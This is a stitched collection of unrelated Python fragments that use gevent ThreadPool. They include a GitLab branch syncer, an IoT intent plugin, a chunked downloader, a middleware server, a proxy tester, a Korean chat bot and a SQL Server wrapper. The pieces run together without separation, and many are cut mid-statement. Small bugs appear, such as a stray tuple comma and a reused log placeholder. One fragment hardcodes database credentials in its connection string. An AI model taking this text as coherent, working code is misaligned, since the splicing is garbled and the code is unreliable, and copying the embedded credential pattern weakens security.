project_obj.members.add(*r_list)
if new_list:
create_pro_history_obj(
project_obj=project_obj,
title='发现新授权员工 {0} 个'.format(len(new_list)),
description='发现新增：{0} 等账号'.format('、'.join([_ for _ in new_list])),
type=icon_type.USER
)
# branch
if enable_sync_branch:
self.sync_project_branch(project_id=project['id'])
except Exception as ex:
import traceback
traceback.print_exc()
logger.error(ex)
create_syslog_obj(
title='同步 {0} 项目信息失败'.format(project['name']),
description=str(ex),
stack_trace=traceback.format_exc(),
level=LOG_LEVEL.CRITICAL,
is_read=False,
)
def _add_members_by_project(self, project_git_id, project_name):
"""
更新会员信息
:param project_git_id:
:param project_name:
:return:
"""
members = {}
for member in self.api.get_members_by_project(project_id=project_git_id):
if not member:
continue
logger.info('[MEMBER] username: {0}, git id:{1}'.format(member['username'], member['id']))
try:
email = None
if 'email' in member:
email = member['email']
m = get_member_by_gitid(member['id'])
if not m or m.state != 'active':
member_obj = create_or_update(
git_id=member['id'],
name=member['name'],
username=member['username'],
state=member['state'],
web_url=member['web_url'],
email=email,
)
members[member['username']] = {
'json': member,
'obj': member_obj,
}
except Exception as ex:
import traceback
logger.error(ex)
create_syslog_obj(
title='同步 {0} 项目成员失败'.format(project_name),
description=str(ex),
stack_trace=traceback.format_exc(),
level=LOG_LEVEL.CRITICAL,
is_read=False,
)
return members
def sync_project_branch(self, project_id):
"""
更新项目的分支与tag
:return:
"""
project_obj = get_project_by_gitid(git_id=project_id)
try:
new_result = []
update_result = []
for branch in self.api.get_branches(project_id=project_id):
if not branch:
continue
try:
bran = get_repository_by_name(name=branch['name'], project_id=project_obj.id)
if 'commit' in branch:
last_commit_id = branch['commit']['id']
last_short_id = branch['commit']['short_id']
last_author_email = branch['commit']['author_email']
last_author_name = branch['commit']['author_name']
last_title = branch['commit']['title'],
else:
last_commit_id = None
last_short_id = None
last_author_email = None
last_author_name = None
last_title = None
if bran:
if bran.last_commit_id != branch['commit']['id']:
update_repository_obj(
repo_id=bran.id,
name=branch['name'],
merged=branch['merged'],
protected=branch['protected'],
developers_can_push=branch['developers_can_push'],
developers_can_merge=branch['developers_can_merge'],
last_commit_id=last_commit_id,
last_short_id=last_short_id,
last_author_email=last_author_email,
last_author_name=last_author_name,
last_title=last_title,
project_obj=project_obj,
)
update_result.append(branch['name'])
logger.info('[BRANCH] update branch name:{0}, project name:{0}'.format(
branch['name'],
project_obj.name)
)
else:
new_result.append(branch['name'])
create_repository_obj(
name=branch['name'],
merged=branch['merged'],
protected=branch['protected'],
developers_can_push=branch['developers_can_push'],
developers_can_merge=branch['developers_can_merge'],
last_commit_id=last_commit_id,
last_short_id=last_short_id,
last_author_email=last_author_email,
last_author_name=last_author_name,
last_title=last_title,
project_obj=project_obj,
)
logger.info('[BRANCH] new branch name:{0}, project name:{0}'.format(
branch['name'],
project_obj.name)
)
except Exception as ex:
import traceback
logger.error(ex)
create_syslog_obj(
title='同步 {0} 项目分支失败'.format(project_obj.name),
description=str(ex),
stack_trace=traceback.format_exc(),
level=LOG_LEVEL.CRITICAL,
is_read=False,
)
if update_result:
create_pro_history_obj(
project_obj=project_obj,
title='更新分支 {0} 个'.format(len(update_result)),
description='更新：{0} 分支'.format('、'.join(update_result)),
type=icon_type.CODE_FORK
)
if new_result:
create_pro_history_obj(
project_obj=project_obj,
title='新增分支 {0} 个'.format(len(new_result)),
description='新增：{0} 分支'.format('、'.join(new_result)),
type=icon_type.TAGS
)
except Exception as ex:
logger.error(ex)
class IntentTransportPlugin(Plugin):
def _init(self):
if self.config.get("enable_intent"):
self.api.register_transport_client(("intent", "intent"),
self.send_request_indication)
self._initialized()
def send_request_indication(self, request_indication):
with Promise() as p:
from .client import XIXIntentClient
fullpath = request_indication.path
parsed = urlparse(fullpath)
request_indication = copy(request_indication)
request_indication.path = urlunparse(
ParseResult("", "", *parsed[2:]))
client = XIXIntentClient(parsed.netloc, self.config["Issuer"],
self.logger, self.config["listenActions"])
p.fulfill(client.send_request_indication(request_indication))
return p
def _start(self):
try:
max_queue_size = self.config["queue_max_size"]
except:
max_queue_size = 1000
self.gevent_queue = Queue(max_queue_size)
self.intent_handler = IntentHandler(self.logger, self.config)
self.greenlet = Greenlet.spawn(
self.intent_handler.executeQueuedRequests, self.gevent_queue,
self.api.handle_request_indication)
self.logger.info("started greenlet")
if self.config.get("enable_intent"):
self.logger.info("starting intent server")
from server import IntentServer
self.intent_server = IntentServer(
self.api.handle_request_indication, self.gevent_queue,
self.config, self.logger)
self.gevent_threadpool = ThreadPool(1)
self.gevent_threadpool_worker = self.gevent_threadpool.spawn(
self.intent_server.start)
#self.intent_server.start()
from .activate import PA_Activation
pa_activation = PA_Activation(self.config, self.logger)
pa_activation.start()
for endpoint in self.config["endpoints"]:
self.api.register_endpoint(
endpoint["personality"],
"%s://%s" % ("intent", endpoint["interface"]))
if self.config.get("enable_test"):
from .test import test_read_params, test_create_app, test_create_app_property, test_subscribe_pushed_data, test_push_data, test_destroy_app, test_subscribe_apps_with_search_str
from .test import test_create_app_with_search_str, test_discover_apps_with_search_str, test_get_app, test_get_all_properties, test_get_latest_data_of_property
contact = "intent://intent_test/m2m"
from .test_retarget import test_retarget
test_retarget(self.api.handle_request_indication, self.logger,
self.config, "retrieve", "/m2m")
# contact = "http://localhost:8080"
test_read_params(self.api.handle_request_indication, self.logger,
self.config)
self.logger.info(
"============================================================")
# test_create_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_create_app_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_subscribe_pushed_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty", contact)
self.logger.info(
"============================================================")
# test_push_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_get_all_properties(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_get_latest_data_of_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_subscribe_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", contact)
test_subscribe_apps_with_search_str(
self.api.handle_request_indication, self.logger, self.config,
None, contact)
self.logger.info(
"============================================================")
# test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", "healthDevice")
# test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", None)
self.logger.info(
"============================================================")
# test_discover_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", "intent://test_action")
self.logger.info(
"============================================================")
# test_get_app(self.api.handle_request_indication, self.logger, self.config, "myApp", "intent://test_action")
self.logger.info(
"============================================================")
# test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
self._started()
def _stop(self):
#self.__rack.stop()
if self.gevent_threadpool_worker:
self.gevent_threadpool_worker.kill()
if self.greenlet:
self.greenlet.kill()
self._stopped()
class FileDownload(object):
copypool = ThreadPool(2)
def __init__(self, file):
self.file = file
self.account = self.file.account
file.can_resume = file.can_resume and self.account.can_resume and True or False
if file.max_chunks is None:
file.max_chunks = self.account.max_chunks
if file.max_chunks is None or file.max_chunks > config['max_chunks']:
file.max_chunks = config['max_chunks']
self.pool = VariableSizePool(file.max_chunks)
self.event = Event()
self.stream = None
self.next_data = None
def init(self):
with transaction:
#self.set_context()
chunk = self.get_first_chunk()
if chunk is None: # all chunks have state 'complete'
return
# initialize the first download
self.stream, self.next_data = self._error_handler(
chunk, self.download, chunk)
if self.file.size is None:
self.file.can_resume = False
self.file.max_chunks = 1
self.pool.set(1)
self.file.log.debug('resume possible: {}, size: {}'.format(
self.file.can_resume, self.file.size))
with transaction:
# create all other chunks
if self.create_chunks(chunk) == 'retry':
return 'retry'
# update file progress
if not self.file.size is None:
self.file.init_progress(self.file.size)
self.file.set_progress(
sum([c.pos - c.begin for c in self.file.chunks]))
# start first (already initialized) download greenlet
chunk.spawn(self.download_chunk, chunk, stream=self.stream)
self.pool.add(chunk.greenlet)
return self.run()
def spawn_chunk_download(self):
"""if self.file.is_paused():
return 0"""
new = 0
for chunk in self.file.chunks:
if self.pool.full():
break
if chunk.working:
continue
if not chunk.next_try is None and chunk.next_try > time.time():
continue
if chunk.state != 'download':
continue
chunk.next_try = None
chunk.last_error = None
chunk.last_error_type = None
chunk.need_reconnect = False
chunk.spawn(self.download_chunk, chunk)
self.pool.add(chunk.greenlet)
new += 1
return new
def run(self):
while True:
self.pool.wait_available()
with transaction:
started = self.spawn_chunk_download()
if len(self.pool) == 0:
break
if started == 0:
self.event.wait()
self.event.clear()
self.pool.join() # TODO: really necessary?
self.file.log.debug('all chunk download greenlets are done')
def finish(self):
"""clean up chunks and set errors/next_try to file"""
if self.stream:
close_stream(self.stream)
if len(self.file.chunks) == 0:
self.file.retry('download finish got no chunks', 90)
complete = True
next_try = None
need_reconnect = False
last_error = None
last_error_type = None
with transaction:
for chunk in self.file.chunks:
if chunk.state != 'complete':
complete = False
if chunk.next_try and (next_try is None
or next_try > chunk.next_try):
next_try = chunk.next_try
need_reconnect = chunk.need_reconnect
last_error = chunk.last_error
last_error_type = chunk.last_error_type
elif chunk.last_error and not last_error:
last_error = chunk.last_error
last_error_type = chunk.last_error_type
chunk.next_try = None
chunk.need_reconnect = False
chunk.last_error = None
chunk.last_error_type = None
if complete:
self.finalize_complete_download()
self.file.state = 'download_complete'
self.file.delete_chunks()
self.file.fire_after_greenlet('file:download_complete',
self.file)
# check if package is complete
complete = True
for f in self.file.package.files:
if f.enabled and 'download' not in f.completed_plugins:
complete = False
if complete:
self.file.package.state = 'download_complete'
self.file.fire_after_greenlet('package:download_complete',
self.file.package)
if not complete:
if next_try:
self.file.retry(last_error, next_try - time.time(),
need_reconnect)
elif last_error:
self.file.fatal(last_error, type=last_error_type)
def finalize_complete_download(self):
if self.file.package.system == 'torrent':
return
self.file.log.debug('download complete')
if self.file.filehandle is not None and self.file.filehandle.f is not None or self.file.filehandle.refcount != 0:
self.file.log.unhandled_exception(
'filehandle still open, refcount: {}, handle: {}'.format(
self.file.filehandle.refcount, self.file.filehandle.f))
download_file = self.file.get_download_file()
with transaction:
# disable all other files in group
hostname = self.file.host.get_hostname(self.file)
for f in core.files():
if f != self.file and f.get_download_file() == download_file:
f.fatal('downloaded via {}'.format(hostname),
abort_greenlet=False)
# delete file chunks
with transaction:
self.file.delete_chunks()
# remove .dlpart extension from filename and move to completed files directory
if os.path.exists(download_file):
complete_file = self.file.get_complete_file()
if download_file != complete_file:
try:
self.forced_rename()
except:
import traceback
traceback.print_exc()
raise
# TODO: delete empty directories
#########################################################
def forced_rename(self):
download_file = self.file.get_download_file()
complete_file = self.file.get_complete_file()
path = os.path.dirname(complete_file)
if not os.path.exists(path):
try:
os.makedirs(path)
except (IOError, OSError) as e:
self.file.fatal(
"Error creating output directory: {}".format(e))
return
try:
os.rename(download_file, complete_file)
except:
try:
self.copypool.apply_e((BaseException, ), shutil.move,
(download_file, complete_file))
except (OSError, IOError):
self.file.log.info("error moving file, try to copy")
try:
self.copypool.apply_e((BaseException, ), shutil.copy,
(download_file, complete_file))
try:
os.unlink(download_file)
except:
self.file.log.exception(
"error deleting old download file")
except (IOError, OSError) as e:
self.file.fatal(
"Error creating complete file: {}".format(e))
except:
self.file.log.exception("unknown error in threadpool")
except:
self.file.log.exception("unknown error in threadpool")
def _error_handler(self, chunk, func, *args, **kwargs):
try:
return plugintools.ctx_error_handler(chunk, func, *args, **kwargs)
except plugintools.RangeNotSatisfiedError:
if chunk.pos == 0:
chunk.fatal('range request not satisfied')
if len(self.file.chunks) == 1:
with transaction:
chunk.pos = 0
chunk.retry('range request not satisfied', 1)
for prev in self.file.chunks:
if prev.end != chunk.begin:
continue
chunk.log.info(
'range request not satisfied; merging with previous chunk {}'
.format(prev.id))
with transaction:
prev.end = chunk.end
if prev.state == 'complete':
prev.state = 'download'
self.file.max_chunks -= 1
chunk.delete_after_greenlet()
return 'deleted'
chunk.retry('range request not satisfied', 60)
def get_first_chunk(self):
# check file on hdd (if exists)
if len(self.file.chunks) > 0:
path = self.file.get_download_file()
if not os.path.exists(path):
self.file.log.warning(
'file not found on hdd. resetting chunks')
self.file.delete_chunks()
if not self.file.can_resume or len(self.file.chunks) == 0:
# create a first chunk
with transaction:
if self.file.chunks:
self.file.log.warning(
'cannot resume or chunks are zero. resetting chunks')
self.file.delete_chunks()
chunk = core.Chunk(file=self.file, end=self.file.size)
else:
# get first incomplete chunk
with transaction:
self.file.chunks = sorted(self.file.chunks,
lambda a, b: a.pos - b.pos)
all_complete = True
for chunk in self.file.chunks:
if chunk.state != 'complete':
all_complete = False
if chunk.state == 'download':
break
else:
if not all_complete:
raise ValueError(
'not possible exception: found no initial chunk')
return None # assume all chunks are complete
chunk.last_error = None
chunk.last_error_type = None
chunk.need_reconnect = None
return chunk
def _create_one_chunk(self):
if len(self.file.chunks) > 1:
raise ValueError('create_one_chunk called while chunk count > 1')
elif len(self.file.chunks) == 1:
self.file.chunks[0].end = self.file.size
if not self.file.can_resume and self.file.chunks[0].begin > 0:
self.file.chunks[0].begin = 0
return 'retry'
def create_chunks(self, first_chunk):
"""returns true when first chunk was modified
"""
num = self.file.max_chunks
result = None
if not self.file.can_resume:
if num > 1:
self.file.log.debug(
'cannot resume or filesize is null. using only one chunk')
num = 1
elif num > 1:
block = int(math.ceil(self.file.size / num))
while num > 1 and block < config['min_chunk_size']:
num -= 1
block = int(math.ceil(self.file.size / num))
self.file.log.debug('using {} chunks with blocksize of {}'.format(
num, block))
self.file.max_chunks = num
self.pool.set(num)
if not self.file.can_resume and first_chunk.pos > 0:
self.file.log.debug(
'first chunk is at position {} but we cannot resume. resetting chunks'
.format(first_chunk.pos))
self.file.delete_chunks()
return 'retry'
self.file.chunks = sorted(self.file.chunks, lambda a, b: a.pos - b.pos)
if len(self.file.chunks
) == num and self.file.chunks[-1].end == self.file.size:
return
if num == 1:
if len(self.file.chunks) == 0:
self.file.log.debug('created one single brand new chunk')
core.Chunk(file=self.file, begin=0, end=self.file.size)
elif self.file.chunks[-1].end != self.file.size:
self.file.log.debug(
'chunk(s) are nearly setup correctly. set end from {} to {}'
.format(self.file.chunks[-1].end, self.file.size))
self.file.chunks[-1].end = self.file.size
else:
self.file.log.debug('chunk(s) already setup correctly')
return result
#if len(self.file.chunks) < num:
if True:
begin = 0
for i in range(num):
if i == num - 1:
end = self.file.size
else:
end = begin + block
try:
chunk = self.file.chunks[i]
if chunk.begin > begin or chunk.end < begin:
if chunk == first_chunk:
result = 'retry'
chunk.pos = begin
chunk.log.debug(
'changing begin {}, end {} to begin {}, end {}'.format(
chunk.begin, chunk.end, begin, end))
if chunk.pos < begin or chunk.pos > end or chunk.begin < begin:
chunk.pos = begin
elif chunk.pos > chunk.begin:
chunk.log.debug('leaving position {} untouched'.format(
chunk.pos))
chunk.begin = begin
chunk.end = end
except IndexError:
self.file.log.debug(
'creating new chunk begin {}, end {}'.format(
begin, end))
core.Chunk(file=self.file, begin=begin, end=end)
begin += block
return result
#########################################################
def download(self, chunk):
chunk.set_substate('init')
if self.file.get_any_size() is not None:
seekingfile.check_space(self.file.get_download_file(),
self.file.get_any_size())
space_checked = True
else:
space_checked = False
result = self.file.account.on_download_decorator(
self.file.download_func, chunk)
stream, next_data = self.file.host.handle_download_result(
chunk, result)
if space_checked is False:
seekingfile.check_space(
self.file.get_download_file(),
self.file.get_any_size() or 100 * 1024 * 1024)
return stream, next_data
def download_next(self, chunk):
chunk.set_substate('init')
return self.file.download_next_func(chunk, self.next_data)
def download_chunk(self, chunk, stream=None):
try:
if stream is None:
chunk.log.info('opening download from {} to {}'.format(
chunk.pos, chunk.end))
stream = self._error_handler(
chunk, self.file.account.on_download_next_decorator,
self.download_next, chunk)
if stream == 'deleted':
return
if stream is None:
chunk.plugin_out_of_date(msg='stream have not to be none')
chunk.log.info('starting download from {} to {}'.format(
chunk.pos, chunk.end))
chunk.set_substate('running')
self._error_handler(chunk, self._download_chunk, chunk, stream)
except plugintools.NoMoreConnectionsError:
if self.file.max_chunks == 1:
chunk.retry('no more connections allowed', 90)
else:
self.file.max_chunks -= 1
self.pool.set(self.file.max_chunks)
finally:
with transaction:
close_stream(stream)
chunk.set_substate()
gevent.spawn(self.event.set)
def _download_chunk(self, chunk, input):
if isinstance(input, DownloadFunction) or hasattr(input, "process"):
dlfunc = input
else:
# use default download function. input is a stream
dlfunc = DownloadFunction(input)
dlfunc.chunk = chunk
with dlfunc, chunk.file.filehandle as output:
dlfunc.output = output
dlfunc.process()
if (chunk.end is not None and chunk.end != chunk.pos) or not chunk.pos:
chunk.retry(
'chunk is incomplete (pos {} != end {})'.format(
chunk.pos, chunk.end), 60)
with transaction:
chunk.state = 'complete'
event.fire('chunk:download_complete', chunk)
browsers['free'].append(s)
elif 'used' in ss[s]['Tags']:
browsers['used'].append(s)
return browsers
if not show_browser_ui:
display = Display(visible=0, size=(800, 600))
display.start()
desired_capabilities = None
service_log_path = "chromedriver.log"
service_args = ['--verbose', '--log-path=' + log_path + '/' + service_log_path]
pool = ThreadPool(5)
def clear_half_tabs(driver):
for _ in range(0, int(maximum_tabs / 2)):
driver.switch_to.window(driver.window_handles[0])
driver.close()
def make_data_from_table(trs, error):
data = []
for tr in trs[1:]:
tds = tr.find_elements_by_tag_name('td')
data.append({
'name': tds[0].text,
'client_time': tds[1].text,
# origin auther: garsonbb # by garson blog garnote.top import sys, getopt import time from gevent.queue import Queue from gevent.threadpool import ThreadPool import gevent from gevent import monkey import requests from detect import * monkey.patch_all(thread=False, ssl=False, socket=True) pool = ThreadPool(3) q = Queue() rin = 'task.txt' output = 'replace' timeout = 1 parallels = 20 hostname = 'google.com' mod = True ips = [] passip = [] times = 0 n = 1 stop = False port = 8118
class Middleware(object):
def __init__(self):
self.logger_name = logger.Logger('middlewared')
self.logger = self.logger_name.getLogger()
self.rollbar = logger.Rollbar()
self.__jobs = JobsQueue(self)
self.__schemas = {}
self.__services = {}
self.__wsclients = {}
self.__hooks = defaultdict(list)
self.__server_threads = []
self.__init_services()
self.__plugins_load()
self.__threadpool = ThreadPool(5)
def __init_services(self):
from middlewared.service import CoreService
self.add_service(CoreService(self))
def __plugins_load(self):
from middlewared.service import Service, CRUDService, ConfigService
plugins_dir = os.path.join(
os.path.dirname(os.path.realpath(__file__)),
'plugins',
)
self.logger.debug('Loading plugins from {0}'.format(plugins_dir))
if not os.path.exists(plugins_dir):
raise ValueError('plugins dir not found')
for f in os.listdir(plugins_dir):
if not f.endswith('.py'):
continue
f = f[:-3]
fp, pathname, description = imp.find_module(f, [plugins_dir])
try:
mod = imp.load_module(f, fp, pathname, description)
finally:
if fp:
fp.close()
for attr in dir(mod):
attr = getattr(mod, attr)
if not inspect.isclass(attr):
continue
if attr in (Service, CRUDService, ConfigService):
continue
if issubclass(attr, Service):
self.add_service(attr(self))
if hasattr(mod, 'setup'):
mod.setup(self)
# Now that all plugins have been loaded we can resolve all method params
# to make sure every schema is patched and references match
from middlewared.schema import resolver # Lazy import so namespace match
to_resolve = []
for service in list(self.__services.values()):
for attr in dir(service):
to_resolve.append(getattr(service, attr))
resolved = 0
while len(to_resolve) > 0:
for method in list(to_resolve):
try:
resolver(self, method)
except ValueError:
pass
else:
to_resolve.remove(method)
resolved += 1
if resolved == 0:
raise ValueError("Not all could be resolved")
self.logger.debug('All plugins loaded')
def register_wsclient(self, client):
self.__wsclients[client.sessionid] = client
def unregister_wsclient(self, client):
self.__wsclients.pop(client.sessionid)
def register_hook(self, name, method, sync=True):
"""
Register a hook under `name`.
The given `method` will be called whenever using call_hook.
Args:
name(str): name of the hook, e.g. service.hook_name
method(callable): method to be called
sync(bool): whether the method should be called in a sync way
"""
self.__hooks[name].append({
'method': method,
'sync': sync,
})
def call_hook(self, name, *args, **kwargs):
"""
Call all hooks registered under `name` passing *args and **kwargs.
Args:
name(str): name of the hook, e.g. service.hook_name
"""
for hook in self.__hooks[name]:
try:
if hook['sync']:
hook['method'](*args, **kwargs)
else:
gevent.spawn(hook['method'], *args, **kwargs)
except:
self.logger.error('Failed to run hook {}:{}(*{}, **{})'.format(
name, hook['method'], args, kwargs),
exc_info=True)
def add_service(self, service):
self.__services[service._config.namespace] = service
def get_service(self, name):
return self.__services[name]
def get_services(self):
return self.__services
def add_schema(self, schema):
if schema.name in self.__schemas:
raise ValueError('Schema "{0}" is already registered'.format(
schema.name))
self.__schemas[schema.name] = schema
def get_schema(self, name):
return self.__schemas.get(name)
def get_jobs(self):
return self.__jobs
def threaded(self, method, *args, **kwargs):
"""
Runs method in a native thread using gevent.ThreadPool.
This prevents a CPU intensive or non-greenlet friendly method
to block the event loop indefinitely.
"""
return self.__threadpool.apply(method, args, kwargs)
def _call(self, name, methodobj, params, app=None):
args = []
if hasattr(methodobj, '_pass_app'):
args.append(app)
# If the method is marked as a @job we need to create a new
# entry to keep track of its state.
job_options = getattr(methodobj, '_job', None)
if job_options:
# Create a job instance with required args
job = Job(self, name, methodobj, args, job_options)
# Add the job to the queue.
# At this point an `id` is assinged to the job.
self.__jobs.add(job)
else:
job = None
args.extend(params)
if job:
return job
else:
return methodobj(*args)
def call_method(self, app, message):
"""Call method from websocket"""
params = message.get('params') or []
service, method_name = message['method'].rsplit('.', 1)
methodobj = getattr(self.get_service(service), method_name)
if not app.authenticated and not hasattr(methodobj,
'_no_auth_required'):
app.send_error(message, 'Not authenticated')
return
return self._call(message['method'], methodobj, params, app=app)
def call(self, name, *params):
service, method = name.rsplit('.', 1)
methodobj = getattr(self.get_service(service), method)
return self._call(name, methodobj, params)
def send_event(self, name, event_type, **kwargs):
assert event_type in ('ADDED', 'CHANGED', 'REMOVED')
for sessionid, wsclient in self.__wsclients.items():
try:
wsclient.send_event(name, event_type, **kwargs)
except:
self.logger.warn('Failed to send event {} to {}'.format(
name, sessionid),
exc_info=True)
def pdb(self):
import pdb
pdb.set_trace()
def green_monitor(self):
"""
Start point method for setting up greenlet trace for finding
out blocked green threads.
"""
self._green_hub = gevent.hub.get_hub()
self._green_active = None
self._green_counter = 0
greenlet.settrace(self._green_callback)
monkey.get_original('_thread',
'start_new_thread')(self._green_monitor_thread, ())
self._green_main_threadid = monkey.get_original(
'_thread', 'get_ident')()
def _green_callback(self, event, args):
"""
This method is called for several events in the greenlet.
We use this to keep track of how many switches have happened.
"""
if event == 'switch':
origin, target = args
self._green_active = target
self._green_counter += 1
def _green_monitor_thread(self):
sleep = monkey.get_original('time', 'sleep')
while True:
# Check every 2 seconds for blocked green threads.
# This could be a knob in the future.
sleep(2)
# If there have been no greenlet switches since last time we
# checked it means we are likely stuck in the same green thread
# for more time than we would like to!
if self._green_counter == 0:
active = self._green_active
# greenlet hub is OK since its the thread waiting for IO.
if active not in (None, self._green_hub):
frame = sys._current_frames()[self._green_main_threadid]
stack = traceback.format_stack(frame)
err_log = ["Green thread seems blocked:\n"] + stack
self.logger.warn(''.join(err_log))
# A race condition may happen here but its fairly rare.
self._green_counter = 0
def run(self):
self.green_monitor()
gevent.signal(signal.SIGTERM, self.kill)
gevent.signal(signal.SIGUSR1, self.pdb)
Application.middleware = self
wsserver = WebSocketServer(
('127.0.0.1', 6000),
Resource(OrderedDict([
('/websocket', Application),
])))
restful_api = RESTfulAPI(self)
apidocs_app.middleware = self
apidocsserver = WSGIServer(('127.0.0.1', 8001), apidocs_app)
restserver = WSGIServer(('127.0.0.1', 8002), restful_api.get_app())
fileserver = WSGIServer(('127.0.0.1', 8003), FileApplication(self))
self.__server_threads = [
gevent.spawn(wsserver.serve_forever),
gevent.spawn(apidocsserver.serve_forever),
gevent.spawn(restserver.serve_forever),
gevent.spawn(fileserver.serve_forever),
gevent.spawn(self.__jobs.run),
]
self.logger.debug('Accepting connections')
gevent.joinall(self.__server_threads)
def kill(self):
self.logger.info('Killall server threads')
gevent.killall(self.__server_threads)
sys.exit(0)
from limits import Limits
from view.wttr import get_wetter
from view.moon import get_moon
from view.line import wttr_line
import cache
if not os.path.exists(os.path.dirname(LOG_FILE)):
os.makedirs(os.path.dirname(LOG_FILE))
logging.basicConfig(filename=LOG_FILE,
level=logging.INFO,
format='%(asctime)s %(message)s')
LIMITS = Limits(whitelist=[MY_EXTERNAL_IP], limits=QUERY_LIMITS)
TASKS = ThreadPool(25)
def show_text_file(name, lang):
"""
show static file `name` for `lang`
"""
text = ""
if name == ":help":
text = open(get_help_file(lang), 'r').read()
text = text.replace('FULL_TRANSLATION', ' '.join(FULL_TRANSLATION))
text = text.replace('PARTIAL_TRANSLATION',
' '.join(PARTIAL_TRANSLATION))
elif name == ":bash.function":
text = open(BASH_FUNCTION_FILE, 'r').read()
elif name == ":iterm2":
continue
ip = tr.find('td').eq(1).text()
port = tr.find('td').eq(2).text()
#proxy = ip+':'+port
proxy = {'ip': ip, 'port': port}
proxies.append(proxy)
return proxies
def proxy_test(proxy):
try:
resp = requests.get(
TEST_URL,
proxies={
'http': 'http://{0}:{1}'.format(proxy['ip'], proxy['port']),
'https': 'https://{0}:{1}'.format(proxy['ip'], proxy['port'])
},
timeout=10)
if resp and resp.status_code == 200:
print('Valid proxy', proxy)
collection.insert(proxy)
#print('Valid proxy', proxy)
except Exception as e:
pass
proxies = proxy_xici()
pool = ThreadPool(20)
threads = [pool.spawn(proxy_test, each) for each in proxies]
gevent.joinall(threads)
def __init__(self):
super(Botdol, self).__init__()
self._version = 1.0
self._name = "봇돌이"
urlparse.uses_netloc.append("postgres")
url = urlparse.urlparse(os.environ["DATABASE_URL"])
self._pgconn = psycopg2.connect(database=url.path[1:],
user=url.username,
password=url.password,
host=url.hostname,
port=url.port)
with self._pgconn.cursor() as cursor:
self._init_db(cursor)
self._variable = Variable.load(cursor)
self._wordquiz = Wordquiz.load(cursor)
self._dday = Dday.load(cursor)
self._keyword = Keyword.load(cursor)
self._mafiagame = MafiaGame()
self._coinanalyzer = CoinAnalyzer()
self._pool = ThreadPool(1)
self._pool.spawn(self._coinanalyzer.run)
# 빨래통
self.add_command(111740297355267,
VariableListOrAddCommand("ㄱ", self._variable))
self.add_command(111740297355267,
VariableRemoveSingleCommand("ㄱㅅ", self._variable))
self.add_command(111740297355267,
VariableRemoveAllCommand("ㄱㅈㅅ", self._variable))
self.add_command(111740297355267, HangangCommand("자살"))
self.add_command(111740297355267,
WordquizInfoCommand("ㅈㅋ", self._wordquiz))
self.add_command(111740297355267,
WordquizImpeachCommand("ㅋㅌ", self._wordquiz))
self.add_command(111740297355267, SummaryCommand("세줄요약"))
self.add_command(111740297355267, MafiaCommand("ㅁㅍㅇ", self._mafiagame))
self.add_command(111740297355267, MusicSearchCommand("ㅇㄱ"))
self.add_command(111740297355267, MusicDownloadCommand("ㅇㄷ"))
self.add_command(111740297355267, ShareCommand("지분"))
self.add_command(111740297355267,
DdayListOrAddCommand("ㄷㄷㅇ", self._dday))
self.add_command(111740297355267, DdayRemoveCommand("ㄷㅅ", self._dday))
self.add_command(111740297355267,
KeywordListOrAddCommand("ㅋㅇㄷ", self._keyword))
self.add_command(111740297355267,
KeywordRemoveCommand("ㅋㅅ", self._keyword))
self.add_command(111740297355267, CoinCommand("ㅂㅌ",
self._coinanalyzer))
# help must be added at the last
self.add_command(
111740297355267,
HelpCommand("?", self._commands.get(111740297355267, {})))
# 개인톡
# 그 외
self.add_command(
0, WordquizProduceCommand("ㅈㅋ", self._wordquiz, 111740297355267))
self.add_command(
0, WordquizCancelCommand("ㅋㅊ", self._wordquiz, 111740297355267))
self.add_command(
0, WordquizHintCommand("ㅎㅌ", self._wordquiz, 111740297355267))
self.add_command(0, MafiaSingleChatCommand("ㅁㅍㅇ", self._mafiagame))
# help must be added at the last
self.add_command(0, HelpCommand("?", self._commands.get(0, {})))
self._bot_timer = gevent.spawn(self._do_timer)
def __init__(self, 协程数量):
self.pool = ThreadPool(协程数量)
def admin_init(self):
pool = ThreadPool(maxsize=1)
pool.spawn(self.safe_auto_load_warcs)
from __future__ import print_function
import time
import gevent
from gevent.threadpool import ThreadPool
import requests
def get(url):
print(requests.get(url).status_code)
pool = ThreadPool(40)
start = time.time()
for _ in range(40):
print(_)
pool.spawn(get, 'http://www.baidu.com/')
gevent.wait(timeout=3)
delay = time.time() - start
print(
'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs'
% delay)
pool = ThreadPool(40)
start = time.time()
for _ in range(40):
print(_)
pool.spawn(get, 'http://www.baidu.com/')
gevent.wait(timeout=3)
delay = time.time() - start
print(
'Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs'
def test(self):
self.pool = ThreadPool(1)
self.pool.join()
class DB():
thread_local_storage = threading.local()
tp = ThreadPool(5)
@classmethod
def _connect(cls):
if 'conn' not in cls.thread_local_storage.__dict__:
conn = pyodbc.connect(
'DRIVER={SQL Server};SERVER=localhost;DATABASE=WEB_PHCCIS;uid=phccis-user;PWD=phccis-user'
)
conn.cursor().execute('SET DATEFORMAT dmy')
cls.thread_local_storage.conn = conn
return cls.thread_local_storage.conn
@classmethod
def query(cls, sql, *args):
def task(sql, *args):
logging.debug('querying...')
conn = None
try:
conn = cls._connect()
cur = conn.cursor()
cur.execute(sql, *args)
l = cur.fetchall()
except:
e = sys.exc_info()
logging.error('DB error %s', e[1], exc_info=True)
if conn:
conn.rollback()
l = []
else:
conn.commit()
return l
return cls.tp.spawn(task, sql, *args).get()
@classmethod
def execute(cls, sql, *args):
def task(sql, *args):
logging.debug('executing...')
conn = None
try:
conn = cls._connect()
cur = conn.cursor()
cur.execute(sql, *args)
c = cur.rowcount
except:
